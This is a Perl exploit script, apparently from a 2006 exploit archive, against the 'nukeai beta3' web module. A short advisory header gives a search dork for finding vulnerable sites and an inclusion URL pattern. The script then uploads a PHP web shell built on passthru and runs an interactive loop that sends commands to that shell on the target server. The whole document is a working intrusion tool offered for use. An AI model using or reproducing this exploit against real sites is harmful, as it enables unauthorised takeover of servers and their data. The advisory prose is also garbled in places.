#!/usr/bin/perl
#
+-------------------------------------------------------------------------------------------
# + nukeai beta3 (util.php) Remote Code Execution Vulnerability
#
+-------------------------------------------------------------------------------------------
# + Affected Software .: nukeai beta3
# + Download ..........: http://mesh.dl.sourceforge.net/sourceforge/nukeai/nukeai_beta3.zip
# + Dork ..............: "nukeai beta3"
# + Class .............: Remote Code Execution
# + Risk ..............: High (Remote Code Execution)
# + Found By ..........: DeltahackingTEAM Code :Dr.Trojan&Dr.Pantagon
# + Exploit:http://[target]/[path]/modules/NukeAI/util.php?AIbasedir=http://
# +-------------------------------------------------------------------------------------------
# + Details:
# + nukeai beta3 Download by default installation doesn't prevent any of the files in the
# + modules/NukeAI directory from being accessed by a client. The modules/NukeAI
# + file takes input passed to the script by util.php and writes it to $_POST["filename"].0
# + unsanatized in the modules/NukeAI descriptions directory.
# +
# + Vulnerable Code:
# +require_once $AIbasedir."/NukeAI/util.php";
# +-------------------------------------------------------------------------------------------
# Example: http://[site]/modules/NukeAI/util.php?AIbasedir=[php shell]

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$code = "<?php passthru($_GET[cmd]); ?>";

main();

sub usage
{
    print "DeltahackingSecurityTEAMn";
    print "www.deltahacking.netn";
    print "Dr.Trojan,HIV++,D_7j,Lord,VPc,IMpostor,Dr.Pantagonn";
    print " http://advistory.deltahacking.net((we Bug))n";
    print "nukeai beta3 Remote Code Execution Exploitn";
    print "-h, --hostttarget hostt(example.com)n";
    print "-f, --filetshell filet(shell.php)n";
    print "-d, --dirtinstall dirt(/NukeAI)n";
    print "============================================================================farzad.sharifirn";
    exit;
}

sub main
{
    GetOptions ('h|host=s' => $host,'f|file=s' => $file,'d|dir=s' => $dir);
    usage() unless $host;

    $dir = "/NukeAI" unless $dir;
    $file = "shell.php" unless $file;
    uri_escape($cmd);
    $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die "nconnect() failed.n";

    print "nconnected to ".$host.", sending data.n";
    $sendurl = "description=0&moreinfo=".$code."&accesses=0&filename=".$file."&date=&B1=Submit";
    $sendlen = length($sendurl);
    print $sock "POST ".$dir."NukeAI/util.php?AIbasedir= HTTP/1.1n";
    print $sock "Host: ".$host."n";
    print $sock "Connection: closen";
    print $sock "Content-Type: application/x-www-form-urlencodedn";
    print $sock "Content-Length: ".$sendlen."nn";
    print $sock $sendurl;
    print "attempted to create php shell, server response:nn";
    while($recvd = <$sock>)
    {
        print " ".$recvd."";
    }

    while($cmd !~ "~quit")
    {
        print "nn-> ";
        $cmd = <STDIN>;
        if ($cmd !~ "~quit")
        {
          $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
           or die "connect() failed.n";
          $sendurl = uri_escape($cmd);

          print $sock "GET ".$dir."/descriptions/".$file.".0?cmd=".$sendurl." HTTP/1.1n";
          print $sock "Host: ".$host."n";
          print $sock "Accept: */*n";
          print $sock "Connection: closenn";
          print "n";

          while($recvd = <$sock>)
          {
              print $recvd;
          }
        }
    }
    exit;
}

# www.Syue.com [2006-11-24]